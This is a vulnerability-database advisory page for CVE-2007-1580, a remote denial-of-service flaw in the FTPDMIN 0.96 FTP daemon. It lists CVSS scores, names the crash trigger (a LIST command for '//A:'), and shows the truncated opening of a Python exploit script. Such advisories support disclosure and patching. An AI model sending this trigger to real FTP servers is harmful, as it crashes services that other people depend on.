6.3
CVSSv2

CVE-2007-1580

Published: 21/03/2007 Updated: 11/10/2017
CVSS v2 Base Score: 6.3 | Impact Score: 6.9 | Exploitability Score: 6.8
VMScore: 635
Vector: AV:N/AC:M/Au:S/C:N/I:N/A:C

Vulnerability Summary

FTPDMIN 0.96 allows remote malicious users to cause a denial of service (daemon crash) via a LIST command for a Windows drive letter, as demonstrated using "//A:". NOTE: this has been reported as a buffer overflow by some sources, but there is not a long argument.

Vulnerable Product Search on Vulmon Subscribe to Product

ftpdmin ftpdmin 0.96

Exploits

# usr/bin/python import socket import time print "-----------------------------------------------------------------------" print "# FTPDMIN v 096 LIST Denial of Service" print "# url: wwwsentexnet/~mwandel/ftpdmin/" print "# author: shinnai" print "# mail: shinnai[at]autistici[dot]org" print "# site: shinnaialtervistaorg" prin ...